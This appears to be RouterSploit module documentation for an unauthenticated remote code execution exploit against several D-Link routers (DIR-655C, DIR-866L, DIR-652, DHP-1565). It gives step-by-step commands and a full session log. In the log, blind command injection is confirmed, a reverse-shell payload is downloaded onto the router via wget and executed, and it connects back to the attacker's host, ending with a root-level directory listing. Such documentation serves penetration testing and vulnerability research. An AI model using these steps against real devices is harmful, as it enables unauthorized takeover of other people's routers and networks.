## Description

Module exploits unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use exploits/routers/dlink/dir_655_866_652_rce`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If router is vulnerable, it should be possible to execute commands on operating system level.
  
  6. Do: `set payload reverse_tcp`
  7. Do: `set lhost [AttackerIP]`
  8. Do: `run`
  9. Payload is sent to device and executed providing attacker with the command shell.

## Scenarios

```
rsf > use exploits/routers/dlink/dir_655_866_652_rce
rsf (D-Link PingTest RCE) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (D-Link PingTest RCE) > run
[*] Running module exploits/routers/dlink/dir_655_866_652_rce...
[+] Target is vulnerable
[*] Invoking command loop...
[*] It is blind command injection, response is not available

[+] Welcome to cmd. Commands are sent to the target via the execute method.
[*] For further exploitation use 'show payloads' and 'set payload <payload>' commands.

cmd > show payloads
[*] Available payloads:

   Payload         Name                   Description
   -------         ----                   -----------
   bind_tcp        MIPSLE Bind TCP        Creates interactive tcp bind shell for MIPSLE architecture.
   reverse_tcp     MIPSLE Reverse TCP     Creates interactive tcp reverse shell for MIPSLE architecture.

cmd > set payload reverse_tcp
cmd (MIPSLE Reverse TCP) > show options

Payload Options:

   Name      Current settings     Description
   ----      ----------------     -----------
   lhost                          Connect-back IP address
   lport     5555                 Connect-back TCP Port


cmd (MIPSLE Reverse TCP) > set lhost 192.168.1.4
lhost => 192.168.1.4
cmd (MIPSLE Reverse TCP) > run
[*] Using wget method
[*] Using wget to download binary
[*] Executing payload on the device
[*] Waiting for reverse shell...
[*] Connection from 192.168.1.1:41933
[+] Enjoy your shell
ls -la
drwxrwxrwx   15 admin    root           224 Mar 11  2013 .
drwxrwxrwx   15 admin    root           224 Mar 11  2013 ..
drwxr-xr-x    2 admin    root          2554 Mar 11  2013 bin
drwxr-xr-x    2 admin    root             3 Mar 11  2013 data
drwxr-xr-x    4 admin    root          2482 Mar 11  2013 dev
drwxr-xr-x   12 admin    root           779 Mar 11  2013 etc
drwxr-xr-x    6 admin    root           690 Mar 11  2013 lib
lrwxrwxrwx    1 admin    root            11 Mar 11  2013 linuxrc -> bin/busybox
drwxr-xr-x    2 admin    root             0 Jan  1  1970 mnt
drwxr-xr-x    5 admin    root            56 Mar 11  2013 opt
dr-xr-xr-x   69 admin    root             0 Jan  1  1970 proc
drwxr-xr-x    2 admin    root           270 Mar 11  2013 sbin
drwxr-xr-x   11 admin    root             0 Jan  1  1970 sys
lrwxrwxrwx    1 admin    root             8 Mar 11  2013 tmp -> /var/tmp
drwxr-xr-x    4 admin    root            38 Mar 11  2013 usr
drwxr-xr-x   16 admin    root             0 Oct 19 20:36 var
drwxr-xr-x    5 admin    root          2801 Mar 11  2013 webs
```